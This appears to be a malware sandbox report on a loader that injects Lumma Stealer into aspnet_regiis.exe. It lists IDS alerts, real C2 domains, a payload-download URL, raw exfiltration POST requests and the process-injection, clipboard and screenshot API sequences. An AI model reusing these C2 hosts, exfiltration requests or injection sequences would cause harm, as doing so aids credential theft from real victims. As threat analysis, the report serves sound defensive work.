Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi-000000E6h]	3_2_027815B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+02h]	3_2_027815B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [ebx], cx	3_2_027815B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+24h]	3_2_02776D9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_0278A586

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49717 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.32.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop

Source: Joe Sandbox View

IP Address: 104.21.32.1 104.21.32.1

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49717 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.32.1:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AMTB3QLKBFJ98IVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12823Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7E5OXTHN8747PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15053Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CVKA9J29E8AUJ7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20549Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4H4JHYC6MWK5EZIZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1280Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L5A4SY5A1OSHVBRM0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586242Host: fancywaxxers.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 88Host: fancywaxxers.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: fancywaxxers.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fancywaxxers.shop

Source: aspnet_regiis.exe, 00000003.00000003.2740892244.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3271562153.0000000002B0F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002B0A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002AFF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141010359.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.81/conhost.exe
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: aspnet_regiis.exe, 00000003.00000003.2068440154.0000000004F49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2100987956.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2053645205.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3271562153.0000000002B0F000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002B0A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2101109857.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2141010359.0000000002B0D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2101077815.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/
Source: aspnet_regiis.exe, 00000003.00000003.2063582512.0000000004F30000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2064491018.0000000004F34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/X
Source: aspnet_regiis.exe, 00000003.00000003.2053645205.0000000002B1D000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/YB
Source: aspnet_regiis.exe, 00000003.00000003.2740892244.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002AFF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2052375536.0000000004F97000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2052400393.0000000004F99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api
Source: aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api9Bd
Source: aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/apiAB
Source: aspnet_regiis.exe, 00000003.00000003.2740892244.0000000002B01000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2140838210.0000000002AFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/api_
Source: aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/int32
Source: aspnet_regiis.exe, 00000003.00000002.3271176576.0000000002A6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fancywaxxers.shop/n
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: aspnet_regiis.exe, 00000003.00000003.2070941631.0000000004F37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aspnet_regiis.exe, 00000003.00000003.2040127622.0000000004F5A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040597834.0000000004F57000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2040416367.0000000004F57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2070475560.000000000504A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_02792590 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_02792590

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_04D01000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

3_2_04D01000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_02792590 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_02792590

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_02792700 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_02792700

System Summary

PE file contains section with special chars

Source: R3nz_Loader.exe

Static PE information: section name: ^]tBD;I

PE file has nameless sections

Source: R3nz_Loader.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE8640 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtSetContextThread,NtResumeThread,CreateProcessW,CloseHandle,CloseHandle,NtReadVirtualMemory,		0_2_6CEE8640
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE6B80 GetModuleHandleW,NtQueryInformationProcess,		0_2_6CEE6B80

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A4F4A0	0_2_00A4F4A0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A37CF0	0_2_00A37CF0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A4ECD0	0_2_00A4ECD0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A69620	0_2_00A69620
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A5EC40	0_2_00A5EC40
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A38180	0_2_00A38180
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A4E9F0	0_2_00A4E9F0
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A40520	0_2_00A40520
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A35330	0_2_00A35330
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A37330	0_2_00A37330
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A34910	0_2_00A34910
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A38F60	0_2_00A38F60
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A43760	0_2_00A43760
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A50770	0_2_00A50770
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A68D50	0_2_00A68D50
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE8640	0_2_6CEE8640
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE6B80	0_2_6CEE6B80
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE1740	0_2_6CEE1740
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE1000	0_2_6CEE1000
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE7D90	0_2_6CEE7D90
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEFA2F1	0_2_6CEFA2F1
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEF0250	0_2_6CEF0250
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_6CEE43E0	0_2_6CEE43E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02785A60	3_2_02785A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276D3E9	3_2_0276D3E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02797BA0	3_2_02797BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02775050	3_2_02775050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02797810	3_2_02797810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278208A	3_2_0278208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279B150	3_2_0279B150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02782E78	3_2_02782E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279F670	3_2_0279F670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278BE6E	3_2_0278BE6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277062F	3_2_0277062F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027787FE	3_2_027787FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02768790	3_2_02768790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276AC50	3_2_0276AC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02771CE0	3_2_02771CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279ED50	3_2_0279ED50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02780D80	3_2_02780D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02766270	3_2_02766270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E270	3_2_0279E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02764260	3_2_02764260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02774A6F	3_2_02774A6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277D250	3_2_0277D250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278B244	3_2_0278B244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02774A31	3_2_02774A31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02780A35	3_2_02780A35
